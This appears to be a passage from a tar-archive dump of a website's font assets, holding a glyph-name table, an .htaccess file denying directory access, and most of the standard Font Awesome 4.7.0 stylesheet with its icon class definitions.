plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EE=O<01hpublic/assets/fonts/font-awesome/css/.htaccess000044400000000177151724235760015466 0ustar00 Order allow,deny Deny from all public/assets/fonts/font-awesome/css/font-awesome.css000060400000110075151724235760017003 0ustar00/*! * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) */ /* FONT PATH * -------------------------- */ @font-face { font-family: 'FontAwesome'; src: url('../fonts/fontawesome-webfont.eot?v=4.7.0'); src: url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'), url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg'); font-weight: normal; font-style: normal; font-display: swap; } /* makes the font 33% larger relative to the icon container */ .fa-lg { font-size: 1.33333333em; line-height: 0.75em; vertical-align: -15%; } .fa-2x { font-size: 2em; } .fa-3x { font-size: 3em; } .fa-4x { font-size: 4em; } .fa-5x { font-size: 5em; } .fa-fw { width: 1.28571429em; text-align: center; } .fa-ul { padding-left: 0; margin-left: 2.14285714em; list-style-type: none; } .fa-ul > li { position: relative; } .fa-li { position: absolute; left: -2.14285714em; width: 2.14285714em; top: 0.14285714em; text-align: center; } .fa-li.fa-lg { left: -1.85714286em; } .fa-border { padding: .2em .25em .15em; border: solid 0.08em #eeeeee; border-radius: .1em; } .fa-pull-left { float: left; } .fa-pull-right { float: right; } .fa.fa-pull-left { margin-right: .3em; } .fa.fa-pull-right { margin-left: .3em; } /* Deprecated as of 4.4.0 */ .pull-right { float: right; } .pull-left { float: left; } .fa.pull-left { margin-right: .3em; } .fa.pull-right { margin-left: .3em; } .fa-spin { -webkit-animation: fa-spin 2s infinite linear; animation: fa-spin 2s infinite linear; } .fa-pulse { -webkit-animation: fa-spin 1s infinite steps(8); animation: fa-spin 1s infinite steps(8); } @-webkit-keyframes fa-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg); } } @keyframes fa-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg); } } .fa-rotate-90 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)"; -webkit-transform: rotate(90deg); -ms-transform: rotate(90deg); transform: rotate(90deg); } .fa-rotate-180 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)"; -webkit-transform: rotate(180deg); -ms-transform: rotate(180deg); transform: rotate(180deg); } .fa-rotate-270 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)"; -webkit-transform: rotate(270deg); -ms-transform: rotate(270deg); transform: rotate(270deg); } .fa-flip-horizontal { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; -webkit-transform: scale(-1, 1); -ms-transform: scale(-1, 1); transform: scale(-1, 1); } .fa-flip-vertical { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; -webkit-transform: scale(1, -1); -ms-transform: scale(1, -1); transform: scale(1, -1); } :root .fa-rotate-90, :root .fa-rotate-180, :root .fa-rotate-270, :root .fa-flip-horizontal, :root .fa-flip-vertical { filter: none; } .fa-stack { position: relative; display: inline-block; width: 2em; height: 2em; line-height: 2em; vertical-align: middle; } .fa-stack-1x, .fa-stack-2x { position: absolute; left: 0; width: 100%; text-align: center; } .fa-stack-1x { line-height: inherit; } .fa-stack-2x { font-size: 2em; } .fa-inverse { color: #ffffff; } /* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen readers do not read off random characters that represent icons */ .fa-glass:before { content: "\f000"; } .fa-music:before { content: "\f001"; } .fa-search:before { content: "\f002"; } .fa-envelope-o:before { content: "\f003"; } .fa-heart:before { content: "\f004"; } .fa-star:before { content: "\f005"; } .fa-star-o:before { content: "\f006"; } .fa-user:before { content: "\f007"; } .fa-film:before { content: "\f008"; } .fa-th-large:before { content: "\f009"; } .fa-th:before { content: "\f00a"; } .fa-th-list:before { content: "\f00b"; } .fa-check:before { content: "\f00c"; } .fa-remove:before, .fa-close:before, .fa-times:before { content: "\f00d"; } .fa-search-plus:before { content: "\f00e"; } .fa-search-minus:before { content: "\f010"; } .fa-power-off:before { content: "\f011"; } .fa-signal:before { content: "\f012"; } .fa-gear:before, .fa-cog:before { content: "\f013"; } .fa-trash-o:before { content: "\f014"; } .fa-home:before { content: "\f015"; } .fa-file-o:before { content: "\f016"; } .fa-clock-o:before { content: "\f017"; } .fa-road:before { content: "\f018"; } .fa-download:before { content: "\f019"; } .fa-arrow-circle-o-down:before { content: "\f01a"; } .fa-arrow-circle-o-up:before { content: "\f01b"; } .fa-inbox:before { content: "\f01c"; } .fa-play-circle-o:before { content: "\f01d"; } .fa-rotate-right:before, .fa-repeat:before { content: "\f01e"; } .fa-refresh:before { content: "\f021"; } .fa-list-alt:before { content: "\f022"; } .fa-lock:before { content: "\f023"; } .fa-flag:before { content: "\f024"; } .fa-headphones:before { content: "\f025"; } .fa-volume-off:before { content: "\f026"; } .fa-volume-down:before { content: "\f027"; } .fa-volume-up:before { content: "\f028"; } .fa-qrcode:before { content: "\f029"; } .fa-barcode:before { content: "\f02a"; } .fa-tag:before { content: "\f02b"; } .fa-tags:before { content: "\f02c"; } .fa-book:before { content: "\f02d"; } .fa-bookmark:before { content: "\f02e"; } .fa-print:before { content: "\f02f"; } .fa-camera:before { content: "\f030"; } .fa-font:before { content: "\f031"; } .fa-bold:before { content: "\f032"; } .fa-italic:before { content: "\f033"; } .fa-text-height:before { content: "\f034"; } .fa-text-width:before { content: "\f035"; } .fa-align-left:before { content: "\f036"; } .fa-align-center:before { content: "\f037"; } .fa-align-right:before { content: "\f038"; } .fa-align-justify:before { content: "\f039"; } .fa-list:before { content: "\f03a"; } .fa-dedent:before, .fa-outdent:before { content: "\f03b"; } .fa-indent:before { content: "\f03c"; } .fa-video-camera:before { content: "\f03d"; } .fa-photo:before, .fa-image:before, .fa-picture-o:before { content: "\f03e"; } .fa-pencil:before { content: "\f040"; } .fa-map-marker:before { content: "\f041"; } .fa-adjust:before { content: "\f042"; } .fa-tint:before { content: "\f043"; } .fa-edit:before, .fa-pencil-square-o:before { content: "\f044"; } .fa-share-square-o:before { content: "\f045"; } .fa-check-square-o:before { content: "\f046"; } .fa-arrows:before { content: "\f047"; } .fa-step-backward:before { content: "\f048"; } .fa-fast-backward:before { content: "\f049"; } .fa-backward:before { content: "\f04a"; } .fa-play:before { content: "\f04b"; } .fa-pause:before { content: "\f04c"; } .fa-stop:before { content: "\f04d"; } .fa-forward:before { content: "\f04e"; } .fa-fast-forward:before { content: "\f050"; } .fa-step-forward:before { content: "\f051"; } .fa-eject:before { content: "\f052"; } .fa-chevron-left:before { content: "\f053"; } .fa-chevron-right:before { content: "\f054"; } .fa-plus-circle:before { content: "\f055"; } .fa-minus-circle:before { content: "\f056"; } .fa-times-circle:before { content: "\f057"; } .fa-check-circle:before { content: "\f058"; } .fa-question-circle:before { content: "\f059"; } .fa-info-circle:before { content: "\f05a"; } .fa-crosshairs:before { content: "\f05b"; } .fa-times-circle-o:before { content: "\f05c"; } .fa-check-circle-o:before { content: "\f05d"; } .fa-ban:before { content: "\f05e"; } .fa-arrow-left:before { content: "\f060"; } .fa-arrow-right:before { content: "\f061"; } .fa-arrow-up:before { content: "\f062"; } .fa-arrow-down:before { content: "\f063"; } .fa-mail-forward:before, .fa-share:before { content: "\f064"; } .fa-expand:before { content: "\f065"; } .fa-compress:before { content: "\f066"; } .fa-plus:before { content: "\f067"; } .fa-minus:before { content: "\f068"; } .fa-asterisk:before { content: "\f069"; } .fa-exclamation-circle:before { content: "\f06a"; } .fa-gift:before { content: "\f06b"; } .fa-leaf:before { content: "\f06c"; } .fa-fire:before { content: "\f06d"; } .fa-eye:before { content: "\f06e"; } .fa-eye-slash:before { content: "\f070"; } .fa-warning:before, .fa-exclamation-triangle:before { content: "\f071"; } .fa-plane:before { content: "\f072"; } .fa-calendar:before { content: "\f073"; } .fa-random:before { content: "\f074"; } .fa-comment:before { content: "\f075"; } .fa-magnet:before { content: "\f076"; } .fa-chevron-up:before { content: "\f077"; } .fa-chevron-down:before { content: "\f078"; } .fa-retweet:before { content: "\f079"; } .fa-shopping-cart:before { content: "\f07a"; } .fa-folder:before { content: "\f07b"; } .fa-folder-open:before { content: "\f07c"; } .fa-arrows-v:before { content: "\f07d"; } .fa-arrows-h:before { content: "\f07e"; } .fa-bar-chart-o:before, .fa-bar-chart:before { content: "\f080"; } .fa-twitter-square:before { content: "\f081"; } .fa-facebook-square:before { content: "\f082"; } .fa-camera-retro:before { content: "\f083"; } .fa-key:before { content: "\f084"; } .fa-gears:before, .fa-cogs:before { content: "\f085"; } .fa-comments:before { content: "\f086"; } .fa-thumbs-o-up:before { content: "\f087"; } .fa-thumbs-o-down:before { content: "\f088"; } .fa-star-half:before { content: "\f089"; } .fa-heart-o:before { content: "\f08a"; } .fa-sign-out:before { content: "\f08b"; } .fa-linkedin-square:before { content: "\f08c"; } .fa-thumb-tack:before { content: "\f08d"; } .fa-external-link:before { content: "\f08e"; } .fa-sign-in:before { content: "\f090"; } .fa-trophy:before { content: "\f091"; } .fa-github-square:before { content: "\f092"; } .fa-upload:before { content: "\f093"; } .fa-lemon-o:before { content: "\f094"; } .fa-phone:before { content: "\f095"; } .fa-square-o:before { content: "\f096"; } .fa-bookmark-o:before { content: "\f097"; } .fa-phone-square:before { content: "\f098"; } .fa-twitter:before { content: "\f099"; } .fa-facebook-f:before, .fa-facebook:before { content: "\f09a"; } .fa-github:before { content: "\f09b"; } .fa-unlock:before { content: "\f09c"; } .fa-credit-card:before { content: "\f09d"; } .fa-feed:before, .fa-rss:before { content: "\f09e"; } .fa-hdd-o:before { content: "\f0a0"; } .fa-bullhorn:before { content: "\f0a1"; } .fa-bell:before { content: "\f0f3"; } .fa-certificate:before { content: "\f0a3"; } .fa-hand-o-right:before { content: "\f0a4"; } .fa-hand-o-left:before { content: "\f0a5"; } .fa-hand-o-up:before { content: "\f0a6"; } .fa-hand-o-down:before { content: "\f0a7"; } .fa-arrow-circle-left:before { content: "\f0a8"; } .fa-arrow-circle-right:before { content: "\f0a9"; } .fa-arrow-circle-up:before { content: "\f0aa"; } .fa-arrow-circle-down:before { content: "\f0ab"; } .fa-globe:before { content: "\f0ac"; } .fa-wrench:before { content: "\f0ad"; } .fa-tasks:before { content: "\f0ae"; } .fa-filter:before { content: "\f0b0"; } .fa-briefcase:before { content: "\f0b1"; } .fa-arrows-alt:before { content: "\f0b2"; } .fa-group:before, .fa-users:before { content: "\f0c0"; } .fa-chain:before, .fa-link:before { content: "\f0c1"; } .fa-cloud:before { content: "\f0c2"; } .fa-flask:before { content: "\f0c3"; } .fa-cut:before, .fa-scissors:before { content: "\f0c4"; } .fa-copy:before, .fa-files-o:before { content: "\f0c5"; } .fa-paperclip:before { content: "\f0c6"; } .fa-save:before, .fa-floppy-o:before { content: "\f0c7"; } .fa-square:before { content: "\f0c8"; } .fa-navicon:before, .fa-reorder:before, .fa-bars:before { content: "\f0c9"; } .fa-list-ul:before { content: "\f0ca"; } .fa-list-ol:before { content: "\f0cb"; } .fa-strikethrough:before { content: "\f0cc"; } .fa-underline:before { content: "\f0cd"; } .fa-table:before { content: "\f0ce"; } .fa-magic:before { content: "\f0d0"; } .fa-truck:before { content: "\f0d1"; } .fa-pinterest:before { content: "\f0d2"; } .fa-pinterest-square:before { content: "\f0d3"; } .fa-google-plus-square:before { content: "\f0d4"; } .fa-google-plus:before { content: "\f0d5"; } .fa-money:before { content: "\f0d6"; } .fa-caret-down:before { content: "\f0d7"; } .fa-caret-up:before { content: "\f0d8"; } .fa-caret-left:before { content: "\f0d9"; } .fa-caret-right:before { content: "\f0da"; } .fa-columns:before { content: "\f0db"; } .fa-unsorted:before, .fa-sort:before { content: "\f0dc"; } .fa-sort-down:before, .fa-sort-desc:before { content: "\f0dd"; } .fa-sort-up:before, .fa-sort-asc:before { content: "\f0de"; } .fa-envelope:before { content: "\f0e0"; } .fa-linkedin:before { content: "\f0e1"; } .fa-rotate-left:before, .fa-undo:before { content: "\f0e2"; } .fa-legal:before, .fa-gavel:before { content: "\f0e3"; } .fa-dashboard:before, .fa-tachometer:before { content: "\f0e4"; } .fa-comment-o:before { content: "\f0e5"; } .fa-comments-o:before { content: "\f0e6"; } .fa-flash:before, .fa-bolt:before { content: "\f0e7"; } .fa-sitemap:before { content: "\f0e8"; } .fa-umbrella:before { content: "\f0e9"; } .fa-paste:before, .fa-clipboard:before { content: "\f0ea"; } .fa-lightbulb-o:before { content: "\f0eb"; } .fa-exchange:before { content: "\f0ec"; } .fa-cloud-download:before { content: "\f0ed"; } .fa-cloud-upload:before { content: "\f0ee"; } .fa-user-md:before { content: "\f0f0"; } .fa-stethoscope:before { content: "\f0f1"; } .fa-suitcase:before { content: "\f0f2"; } .fa-bell-o:before { content: "\f0a2"; } .fa-coffee:before { content: "\f0f4"; } .fa-cutlery:before { content: "\f0f5"; } .fa-file-text-o:before { content: "\f0f6"; } .fa-building-o:before { content: "\f0f7"; } .fa-hospital-o:before { content: "\f0f8"; } .fa-ambulance:before { content: "\f0f9"; } .fa-medkit:before { content: "\f0fa"; } .fa-fighter-jet:before { content: "\f0fb"; } .fa-beer:before { content: "\f0fc"; } .fa-h-square:before { content: "\f0fd"; } .fa-plus-square:before { content: "\f0fe"; } .fa-angle-double-left:before { content: "\f100"; } .fa-angle-double-right:before { content: "\f101"; } .fa-angle-double-up:before { content: "\f102"; } .fa-angle-double-down:before { content: "\f103"; } .fa-angle-left:before { content: "\f104"; } .fa-angle-right:before { content: "\f105"; } .fa-angle-up:before { content: "\f106"; } .fa-angle-down:before { content: "\f107"; } .fa-desktop:before { content: "\f108"; } .fa-laptop:before { content: "\f109"; } .fa-tablet:before { content: "\f10a"; } .fa-mobile-phone:before, .fa-mobile:before { content: "\f10b"; } .fa-circle-o:before { content: "\f10c"; } .fa-quote-left:before { content: "\f10d"; } .fa-quote-right:before { content: "\f10e"; } .fa-spinner:before { content: "\f110"; } .fa-circle:before { content: "\f111"; } .fa-mail-reply:before, .fa-reply:before { content: "\f112"; } .fa-github-alt:before { content: "\f113"; } .fa-folder-o:before { content: "\f114"; } .fa-folder-open-o:before { content: "\f115"; } .fa-smile-o:before { content: "\f118"; } .fa-frown-o:before { content: "\f119"; } .fa-meh-o:before { content: "\f11a"; } .fa-gamepad:before { content: "\f11b"; } .fa-keyboard-o:before { content: "\f11c"; } .fa-flag-o:before { content: "\f11d"; } .fa-flag-checkered:before { content: "\f11e"; } .fa-terminal:before { content: "\f120"; } .fa-code:before { content: "\f121"; } .fa-mail-reply-all:before, .fa-reply-all:before { content: "\f122"; } .fa-star-half-empty:before, .fa-star-half-full:before, .fa-star-half-o:before { content: "\f123"; } .fa-location-arrow:before { content: "\f124"; } .fa-crop:before { content: "\f125"; } .fa-code-fork:before { content: "\f126"; } .fa-unlink:before, .fa-chain-broken:before { content: "\f127"; } .fa-question:before { content: "\f128"; } .fa-info:before { content: "\f129"; } .fa-exclamation:before { content: "\f12a"; } .fa-superscript:before { content: "\f12b"; } .fa-subscript:before { content: "\f12c"; } .fa-eraser:before { content: "\f12d"; } .fa-puzzle-piece:before { content: "\f12e"; } .fa-microphone:before { content: "\f130"; } .fa-microphone-slash:before { content: "\f131"; } .fa-shield:before { content: "\f132"; } .fa-calendar-o:before { content: "\f133"; } .fa-fire-extinguisher:before { content: "\f134"; } .fa-rocket:before { content: "\f135"; } .fa-maxcdn:before { content: "\f136"; } .fa-chevron-circle-left:before { content: "\f137"; } .fa-chevron-circle-right:before { content: "\f138"; } .fa-chevron-circle-up:before { content: "\f139"; } .fa-chevron-circle-down:before { content: "\f13a"; } .fa-html5:before { content: "\f13b"; } .fa-css3:before { content: "\f13c"; } .fa-anchor:before { content: "\f13d"; } .fa-unlock-alt:before { content: "\f13e"; } .fa-bullseye:before { content: "\f140"; } .fa-ellipsis-h:before { content: "\f141"; } .fa-ellipsis-v:before { content: "\f142"; } .fa-rss-square:before { content: "\f143"; } .fa-play-circle:before { content: "\f144"; } .fa-ticket:before { content: "\f145"; } .fa-minus-square:before { content: "\f146"; } .fa-minus-square-o:before { content: "\f147"; } .fa-level-up:before { content: "\f148"; } .fa-level-down:before { content: "\f149"; } .fa-check-square:before { content: "\f14a"; } .fa-pencil-square:before { content: "\f14b"; } .fa-external-link-square:before { content: "\f14c"; } .fa-share-square:before { content: "\f14d"; } .fa-compass:before { content: "\f14e"; } .fa-toggle-down:before, .fa-caret-square-o-down:before { content: "\f150"; } .fa-toggle-up:before, .fa-caret-square-o-up:before { content: "\f151"; } .fa-toggle-right:before, .fa-caret-square-o-right:before { content: "\f152"; } .fa-euro:before, .fa-eur:before { content: "\f153"; } .fa-gbp:before { content: "\f154"; } .fa-dollar:before, .fa-usd:before { content: "\f155"; } .fa-rupee:before, .fa-inr:before { content: "\f156"; } .fa-cny:before, .fa-rmb:before, .fa-yen:before, .fa-jpy:before { content: "\f157"; } .fa-ruble:before, .fa-rouble:before, .fa-rub:before { content: "\f158"; } .fa-won:before, .fa-krw:before { content: "\f159"; } .fa-bitcoin:before, .fa-btc:before { content: "\f15a"; } .fa-file:before { content: "\f15b"; } .fa-file-text:before { content: "\f15c"; } .fa-sort-alpha-asc:before { content: "\f15d"; } .fa-sort-alpha-desc:before { content: "\f15e"; } .fa-sort-amount-asc:before { content: "\f160"; } .fa-sort-amount-desc:before { content: "\f161"; } .fa-sort-numeric-asc:before { content: "\f162"; } .fa-sort-numeric-desc:before { content: "\f163"; } .fa-thumbs-up:before { content: "\f164"; } .fa-thumbs-down:before { content: "\f165"; } .fa-youtube-square:before { content: "\f166"; } .fa-youtube:before { content: "\f167"; } .fa-xing:before { content: "\f168"; } .fa-xing-square:before { content: "\f169"; } .fa-youtube-play:before { content: "\f16a"; } .fa-dropbox:before { content: "\f16b"; } .fa-stack-overflow:before { content: "\f16c"; } .fa-instagram:before { content: "\f16d"; } .fa-flickr:before { content: "\f16e"; } .fa-adn:before { content: "\f170"; } .fa-bitbucket:before { content: "\f171"; } .fa-bitbucket-square:before { content: "\f172"; } .fa-tumblr:before { content: "\f173"; } .fa-tumblr-square:before { content: "\f174"; } .fa-long-arrow-down:before { content: "\f175"; } .fa-long-arrow-up:before { content: "\f176"; } .fa-long-arrow-left:before { content: "\f177"; } .fa-long-arrow-right:before { content: "\f178"; } .fa-apple:before { content: "\f179"; } .fa-windows:before { content: "\f17a"; } .fa-android:before { content: "\f17b"; } .fa-linux:before { content: "\f17c"; } .fa-dribbble:before { content: "\f17d"; } .fa-skype:before { content: "\f17e"; } .fa-foursquare:before { content: "\f180"; } .fa-trello:before { content: "\f181"; } .fa-female:before { content: "\f182"; } .fa-male:before { content: "\f183"; } .fa-gittip:before, .fa-gratipay:before { content: "\f184"; } .fa-sun-o:before { content: "\f185"; } .fa-moon-o:before { content: "\f186"; } .fa-archive:before { content: "\f187"; } .fa-bug:before { content: "\f188"; } .fa-vk:before { content: "\f189"; } .fa-weibo:before { content: "\f18a"; } .fa-renren:before { content: "\f18b"; } .fa-pagelines:before { content: "\f18c"; } .fa-stack-exchange:before { content: "\f18d"; } .fa-arrow-circle-o-right:before { content: "\f18e"; } .fa-arrow-circle-o-left:before { content: "\f190"; } .fa-toggle-left:before, .fa-caret-square-o-left:before { content: "\f191"; } .fa-dot-circle-o:before { content: "\f192"; } .fa-wheelchair:before { content: "\f193"; } .fa-vimeo-square:before { content: "\f194"; } .fa-turkish-lira:before, .fa-try:before { content: "\f195"; } .fa-plus-square-o:before { content: "\f196"; } .fa-space-shuttle:before { content: "\f197"; } .fa-slack:before { content: "\f198"; } .fa-envelope-square:before { content: "\f199"; } .fa-wordpress:before { content: "\f19a"; } .fa-openid:before { content: "\f19b"; } .fa-institution:before, .fa-bank:before, .fa-university:before { content: "\f19c"; } .fa-mortar-board:before, .fa-graduation-cap:before { content: "\f19d"; } .fa-yahoo:before { content: "\f19e"; } .fa-google:before { content: "\f1a0"; } .fa-reddit:before { content: "\f1a1"; } .fa-reddit-square:before { content: "\f1a2"; } .fa-stumbleupon-circle:before { content: "\f1a3"; } .fa-stumbleupon:before { content: "\f1a4"; } .fa-delicious:before { content: "\f1a5"; } .fa-digg:before { content: "\f1a6"; } .fa-pied-piper-pp:before { content: "\f1a7"; } .fa-pied-piper-alt:before { content: "\f1a8"; } .fa-drupal:before { content: "\f1a9"; } .fa-joomla:before { content: "\f1aa"; } .fa-language:before { content: "\f1ab"; } .fa-fax:before { content: "\f1ac"; } .fa-building:before { content: "\f1ad"; } .fa-child:before { content: "\f1ae"; } .fa-paw:before { content: "\f1b0"; } .fa-spoon:before { content: "\f1b1"; } .fa-cube:before { content: "\f1b2"; } .fa-cubes:before { content: "\f1b3"; } .fa-behance:before { content: "\f1b4"; } .fa-behance-square:before { content: "\f1b5"; } .fa-steam:before { content: "\f1b6"; } .fa-steam-square:before { content: "\f1b7"; } .fa-recycle:before { content: "\f1b8"; } .fa-automobile:before, .fa-car:before { content: "\f1b9"; } .fa-cab:before, .fa-taxi:before { content: "\f1ba"; } .fa-tree:before { content: "\f1bb"; } .fa-spotify:before { content: "\f1bc"; } .fa-deviantart:before { content: "\f1bd"; } .fa-soundcloud:before { content: "\f1be"; } .fa-database:before { content: "\f1c0"; } .fa-file-pdf-o:before { content: "\f1c1"; } .fa-file-word-o:before { content: "\f1c2"; } .fa-file-excel-o:before { content: "\f1c3"; } .fa-file-powerpoint-o:before { content: "\f1c4"; } .fa-file-photo-o:before, .fa-file-picture-o:before, .fa-file-image-o:before { content: "\f1c5"; } .fa-file-zip-o:before, .fa-file-archive-o:before { content: "\f1c6"; } .fa-file-sound-o:before, .fa-file-audio-o:before { content: "\f1c7"; } .fa-file-movie-o:before, .fa-file-video-o:before { content: "\f1c8"; } .fa-file-code-o:before { content: "\f1c9"; } .fa-vine:before { content: "\f1ca"; } .fa-codepen:before { content: "\f1cb"; } .fa-jsfiddle:before { content: "\f1cc"; } .fa-life-bouy:before, .fa-life-buoy:before, .fa-life-saver:before, .fa-support:before, .fa-life-ring:before { content: "\f1cd"; } .fa-circle-o-notch:before { content: "\f1ce"; } .fa-ra:before, .fa-resistance:before, .fa-rebel:before { content: "\f1d0"; } .fa-ge:before, .fa-empire:before { content: "\f1d1"; } .fa-git-square:before { content: "\f1d2"; } .fa-git:before { content: "\f1d3"; } .fa-y-combinator-square:before, .fa-yc-square:before, .fa-hacker-news:before { content: "\f1d4"; } .fa-tencent-weibo:before { content: "\f1d5"; } .fa-qq:before { content: "\f1d6"; } .fa-wechat:before, .fa-weixin:before { content: "\f1d7"; } .fa-send:before, .fa-paper-plane:before { content: "\f1d8"; } .fa-send-o:before, .fa-paper-plane-o:before { content: "\f1d9"; } .fa-history:before { content: "\f1da"; } .fa-circle-thin:before { content: "\f1db"; } .fa-header:before { content: "\f1dc"; } .fa-paragraph:before { content: "\f1dd"; } .fa-sliders:before { content: "\f1de"; } .fa-share-alt:before { content: "\f1e0"; } .fa-share-alt-square:before { content: "\f1e1"; } .fa-bomb:before { content: "\f1e2"; } .fa-soccer-ball-o:before, .fa-futbol-o:before { content: "\f1e3"; } .fa-tty:before { content: "\f1e4"; } .fa-binoculars:before { content: "\f1e5"; } .fa-plug:before { content: "\f1e6"; } .fa-slideshare:before { content: "\f1e7"; } .fa-twitch:before { content: "\f1e8"; } .fa-yelp:before { content: "\f1e9"; } .fa-newspaper-o:before { content: "\f1ea"; } .fa-wifi:before { content: "\f1eb"; } .fa-calculator:before { content: "\f1ec"; } .fa-paypal:before { content: "\f1ed"; } .fa-google-wallet:before { content: "\f1ee"; } .fa-cc-visa:before { content: "\f1f0"; } .fa-cc-mastercard:before { content: "\f1f1"; } .fa-cc-discover:before { content: "\f1f2"; } .fa-cc-amex:before { content: "\f1f3"; } .fa-cc-paypal:before { content: "\f1f4"; } .fa-cc-stripe:before { content: "\f1f5"; } .fa-bell-slash:before { content: "\f1f6"; } .fa-bell-slash-o:before { content: "\f1f7"; } .fa-trash:before { content: "\f1f8"; } .fa-copyright:before { content: "\f1f9"; } .fa-at:before { content: "\f1fa"; } .fa-eyedropper:before { content: "\f1fb"; } .fa-paint-brush:before { content: "\f1fc"; } .fa-birthday-cake:before { content: "\f1fd"; } .fa-area-chart:before { content: "\f1fe"; } .fa-pie-chart:before { content: "\f200"; } .fa-line-chart:before { content: "\f201"; } .fa-lastfm:before { content: "\f202"; } .fa-lastfm-square:before { content: "\f203"; } .fa-toggle-off:before { content: "\f204"; } .fa-toggle-on:before { content: "\f205"; } .fa-bicycle:before { content: "\f206"; } .fa-bus:before { content: "\f207"; } .fa-ioxhost:before { content: "\f208"; } .fa-angellist:before { content: "\f209"; } .fa-cc:before { content: "\f20a"; } .fa-shekel:before, .fa-sheqel:before, .fa-ils:before { content: "\f20b"; } .fa-meanpath:before { content: "\f20c"; } .fa-buysellads:before { content: "\f20d"; } .fa-connectdevelop:before { content: "\f20e"; } .fa-dashcube:before { content: "\f210"; } .fa-forumbee:before { content: "\f211"; } .fa-leanpub:before { content: "\f212"; } .fa-sellsy:before { content: "\f213"; } .fa-shirtsinbulk:before { content: "\f214"; } .fa-simplybuilt:before { content: "\f215"; } .fa-skyatlas:before { content: "\f216"; } .fa-cart-plus:before { content: "\f217"; } .fa-cart-arrow-down:before { content: "\f218"; } .fa-diamond:before { content: "\f219"; } .fa-ship:before { content: "\f21a"; } .fa-user-secret:before { content: "\f21b"; } .fa-motorcycle:before { content: "\f21c"; } .fa-street-view:before { content: "\f21d"; } .fa-heartbeat:before { content: "\f21e"; } .fa-venus:before { content: "\f221"; } .fa-mars:before { content: "\f222"; } .fa-mercury:before { content: "\f223"; } .fa-intersex:before, .fa-transgender:before { content: "\f224"; } .fa-transgender-alt:before { content: "\f225"; } .fa-venus-double:before { content: "\f226"; } .fa-mars-double:before { content: "\f227"; } .fa-venus-mars:before { content: "\f228"; } .fa-mars-stroke:before { content: "\f229"; } .fa-mars-stroke-v:before { content: "\f22a"; } .fa-mars-stroke-h:before { content: "\f22b"; } .fa-neuter:before { content: "\f22c"; } .fa-genderless:before { content: "\f22d"; } .fa-facebook-official:before { content: "\f230"; } .fa-pinterest-p:before { content: "\f231"; } .fa-whatsapp:before { content: "\f232"; } .fa-server:before { content: "\f233"; } .fa-user-plus:before { content: "\f234"; } .fa-user-times:before { content: "\f235"; } .fa-hotel:before, .fa-bed:before { content: "\f236"; } .fa-viacoin:before { content: "\f237"; } .fa-train:before { content: "\f238"; } .fa-subway:before { content: "\f239"; } .fa-medium:before { content: "\f23a"; } .fa-yc:before, .fa-y-combinator:before { content: "\f23b"; } .fa-optin-monster:before { content: "\f23c"; } .fa-opencart:before { content: "\f23d"; } .fa-expeditedssl:before { content: "\f23e"; } .fa-battery-4:before, .fa-battery:before, .fa-battery-full:before { content: "\f240"; } .fa-battery-3:before, .fa-battery-three-quarters:before { content: "\f241"; } .fa-battery-2:before, .fa-battery-half:before { content: "\f242"; } .fa-battery-1:before, .fa-battery-quarter:before { content: "\f243"; } .fa-battery-0:before, .fa-battery-empty:before { content: "\f244"; } .fa-mouse-pointer:before { content: "\f245"; } .fa-i-cursor:before { content: "\f246"; } .fa-object-group:before { content: "\f247"; } .fa-object-ungroup:before { content: "\f248"; } .fa-sticky-note:before { content: "\f249"; } .fa-sticky-note-o:before { content: "\f24a"; } .fa-cc-jcb:before { content: "\f24b"; } 